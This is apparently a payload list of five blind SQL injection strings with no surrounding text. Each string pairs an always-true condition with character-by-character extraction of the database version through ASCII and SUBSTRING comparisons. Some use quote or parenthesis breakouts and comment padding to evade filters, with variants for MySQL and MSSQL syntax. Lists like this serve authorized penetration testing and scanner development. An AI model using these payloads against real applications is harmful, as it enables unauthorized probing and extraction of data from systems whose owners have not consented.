-1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25

-1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1

-1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

-1'OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

-1"/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)